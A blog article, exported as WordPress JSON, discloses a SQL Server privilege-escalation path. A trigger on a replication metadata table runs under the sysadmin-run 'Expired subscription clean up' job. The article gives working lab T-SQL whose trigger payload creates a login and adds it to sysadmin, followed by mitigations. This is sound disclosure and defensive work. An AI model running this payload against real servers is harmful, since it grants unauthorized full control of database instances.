{"id":108031,"date":"2025-12-22T14:50:00","date_gmt":"2025-12-22T14:50:00","guid":{"rendered":"https:\/\/www.red-gate.com\/simple-talk\/?p=108031"},"modified":"2025-12-18T14:20:59","modified_gmt":"2025-12-18T14:20:59","slug":"sql-server-privilege-escalation-via-replication-jobs","status":"publish","type":"post","link":"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server-privilege-escalation-via-replication-jobs\/","title":{"rendered":"SQL Server Privilege Escalation via Replication Jobs"},"content":{"rendered":"\n

Privilege escalation in SQL Server<\/a> isn\u2019t just theory – it can happen through everyday maintenance jobs. This article demonstrates how a user with roles like db_owner<\/code> or db_ddladmin<\/code> can exploit replication cleanup processes to gain sysadmin<\/a> rights, and why monitoring trigger<\/a> creation and job behavior is critical for security.<\/p>\n\n\n\n

What is Privilege Escalation in SQL Server?<\/h2>\n\n\n\n

Privilege escalation is the process by which an attacker obtains higher access rights<\/a> than originally granted. In practical terms, it means a low-privileged account or process finds a way to perform actions<\/a> that should only be allowed to administrators. <\/p>\n\n\n\n

Because privileges determine what a user or process can do, escalation breaks containment boundaries and turns small footholds into full system compromise.<\/p>\n\n\n\n

How Replication Cleanup Jobs Become an Attack Vector<\/h2>\n\n\n\n

When you configure a SQL Server instance to use distributor for replication<\/a>, SQL Server creates several maintenance jobs under msdb<\/a> to perform cleanup and housekeeping tasks. <\/p>\n\n\n\n

One such job is \u201cExpired subscription clean up\u201d<\/em>, which is automatically scheduled to run at 1AM daily and calls the system stored procedure<\/a> sys.sp_expired_subscription_cleanup<\/code>. That procedure performs DML<\/a> against replication metadata tables (for example, dbo.MSpeer_request<\/code>) as part of its cleanup work.<\/p>\n\n\n\n

This job can be used as an escalation path. As documented here<\/a>, \u201cDML and DDL triggers execute under the context of the user that calls the trigger. The caller of a trigger is the user that executes the statement that causes the trigger to run.\u201d<\/em> <\/p>\n\n\n\n

For example, if job \u201cExpired subscription clean up\u201d, running under sysadminscope<\/code>, runs a DELETE<\/code> statement that causes a DML trigger to run, the code inside the trigger executes in the context of the sysadmin privileges. This behavior can be exploited by users who want to introduce malicious code in the instance.<\/p>\n\n\n\n

My friend Erland Sommarskog<\/a> wrote an outstanding (as always) article with details of this, and also did a presentation speaking about it<\/a>. For more information about permission hijack using DDL or DML triggers, take a look at his article<\/a>.<\/p>\n\n\n\n

Step-by-Step Exploit Demonstration<\/h2>\n\n\n\n

The following is a reproduction for a lab\/test environment:<\/p>\n\n\n\n

First, create a regular login and database user:<\/p>\n\n\n\n

USE master;\nGO\nCREATE LOGIN [RegularLogin] WITH PASSWORD = 'theirpassword';\nGO\nCREATE DATABASE DBA1;\nGO\nUSE DBA1;\nGO\nCREATE USER [RegularLogin] FOR LOGIN [RegularLogin];\nGO<\/pre><\/div>\n\n\n\n
Next, enable replication options and create a publication (test labs only – replication setup creates the cleanup job):<\/p>\n\n\n\n
-- This is a simplified example for a lab environment\nEXEC sp_replicationdboption @dbname='DBA1', @optname = N'publish', @value='true';\nGO\nEXEC sp_addpublication @publication = N'Pub1', @description = N'Transactional publication', @sync_method = N'concurrent';\nGO<\/pre><\/div>\n\n\n\n
As RegularLogin<\/code>, create a malicious trigger on dbo.MSpeer_request<\/code>:<\/p>\n\n\n\n
USE DBA1;\nGO\nEXECUTE AS LOGIN = 'RegularLogin';\nGO\nDROP TRIGGER IF EXISTS tr_1;\nGO\nCREATE TRIGGER tr_1\nON dbo.MSpeer_request\nAFTER DELETE\nAS\nBEGIN\n  -- escalation payload (example)\n  IF NOT EXISTS(SELECT * FROM sys.server_principals WHERE name = 'LoginSysAdmin1')\n  BEGIN\n    CREATE LOGIN [LoginSysAdmin1] WITH PASSWORD=N'P@ssw0rd!', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF;\n  END\n  ALTER SERVER ROLE [sysadmin] ADD MEMBER [LoginSysAdmin1];\nEND\nGO\nREVERT;\nGO<\/pre><\/div>\n\n\n\n
Now, trigger the job or wait for its next execution:<\/p>\n\n\n\n
USE msdb;\nGO\nEXEC dbo.sp_start_job N'Expired subscription clean up';\nGO<\/pre><\/div>\n\n\n\n
Finally, verify the escalation:<\/p>\n\n\n\n
SELECT IS_SRVROLEMEMBER('sysadmin','LoginSysAdmin1') AS IsSysAdmin;\nGO<\/pre><\/div>\n\n\n\n
And just like that, the result returns 1<\/code>, indicating the attacker-created login is a sysadmin.<\/p>\n\n\n\n
Any login with permission to create a trigger (such as members of the db_ddladmin<\/code> fixed database role) can potentially elevate their privileges by manipulating code that might get executed under high privileges, so their actions should be monitored.<\/p>\n\n\n\n
\n    
\n        
\n            
\n                
Subscribe to the Simple Talk newsletter<\/h3>\n                
\n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox every two weeks.                                    <\/div>\n            <\/div>\n                            Subscribe now<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n
Why Microsoft Considers This “By Design”<\/h2>\n\n\n\n
I\u2019ve reported this to Microsoft, but they say it’s a known behavior and don’t consider it a security vulnerability. I find this a bit weird, as they considered other similar escalation paths a problem that required a fix – for instance, a recent security fix was released<\/a> to adjust job syspolicy_purge_history<\/code> to run code under [##MS_PolicyTsqlExecutionLogin##]<\/code> login to \u201cPrevents elevation of privilege by running SQL Agent job steps for built-in jobs with reduced permissions.\u201d<\/em><\/p>\n\n\n\n
With this in mind, don\u2019t expect a \u201cfix\u201d from their side, so make sure you\u2019re implementing the right measures to prevent this issue.<\/p>\n\n\n\n
Mitigation Strategies for SQL Server Privilege Escalation<\/h2>\n\n\n\n
This vulnerability illustrates a fundamental principle: automated maintenance and convenience features can inadvertently become elevation vectors when the interaction between internal privileged processes and user-extensible features is not carefully controlled.<\/p>\n\n\n\n
Specifically, allowing user-created DML triggers on tables affected by privileged internal jobs creates a reliable escalation path.<\/p>\n\n\n\n
Mitigation requires layered controls: tighten who can create triggers on replication tables, monitor and alert on trigger creation and server principal provisioning, and, at the product level, ensure that built-in maintenance work does not execute user code in an elevated context. The fix applied in other built-in job scenarios (running jobs under reduced-permission specialized logins) is an appropriate model to follow here.<\/p>\n\n\n\n
Until a vendor-level remediation is applied, all SQL Server users must assume that replication maintenance jobs which perform DML against user-accessible objects might be exploitable and act accordingly: audit, restrict trigger creation, and monitor for suspicious principal changes.<\/p>\n\n\n\n
\n    
FAQs: SQL Server Privilege Escalation via Replication Jobs<\/h2>\n\n                        
1. What is privilege escalation in SQL Server?<\/h3>\n            
\n                
Privilege escalation occurs when a user gains higher permissions than originally granted, such as moving from db_owner<\/code> to sysadmin<\/code>.<\/div>\n            <\/div>\n                    
2. How can replication cleanup jobs lead to sysadmin access in SQL Server?<\/h3>\n            
\n                
SQL Server\u2019s \u201cExpired subscription clean up\u201d job runs under sysadmin context. If a user creates a malicious DML trigger on replication tables, the trigger executes with sysadmin privileges when the job runs.<\/span><\/p>\n            <\/div>\n                    
3. Does Microsoft consider this a SQL Server vulnerability?<\/h3>\n            
\n                
Microsoft classifies this as \u201cby design\u201d behavior – not<\/em> a security vulnerability – because triggers execute under the caller\u2019s context. However, it can be exploited if permissions are mismanaged.<\/span><\/p>\n            <\/div>\n                    
4. Who is at risk of exploiting this method in SQL Server?<\/h3>\n            
\n                
Any login with rights to create triggers on replication tables -such as members of <\/span>db_ddladmin<\/code> or <\/span>db_owner -<\/code>can potentially use this escalation path.<\/span><\/p>\n            <\/div>\n                    
5. How do you prevent privilege escalation via triggers?<\/h3>\n            
\n                
Mitigation includes restricting trigger creation on replication tables, auditing trigger changes, monitoring for new sysadmin principals, and running maintenance jobs under reduced-permission accounts.<\/span><\/p>\n            <\/div>\n            <\/section>\n\n\n\n
Enjoy this article? Take a look at the latest SQL Server content published here on Simple Talk:<\/em><\/strong><\/p>\n\n\n